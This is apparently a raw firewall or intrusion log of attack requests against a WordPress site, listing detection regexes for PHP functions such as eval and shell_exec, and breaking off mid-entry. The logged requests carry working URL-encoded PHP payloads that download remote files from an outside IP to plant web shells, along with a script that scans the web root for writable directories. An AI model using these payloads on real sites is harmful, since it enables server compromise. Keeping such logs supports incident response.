Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nys=%3C%3Fphp%20%20file_put_contents%28%27researchAreas.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/dIDEskUBHm%27%29%29%3B"]
["2026-05-12 22:04:08","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27strings.js.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/MogVOizqRg%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:196\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27strings.js.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/MogVOizqRg%27%29%29%3B\"));"]
["2026-05-12 22:17:20","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Of:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\ncontent-length:3339\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nOf=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:17:57","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> LI:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\ncontent-length:3339\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nLI=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:18:47","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> JW:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\ncontent-length:3339\nsec-ch-ua-platform:\"macOS\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nJW=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:20:11","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Mf:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\ncontent-length:3339\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 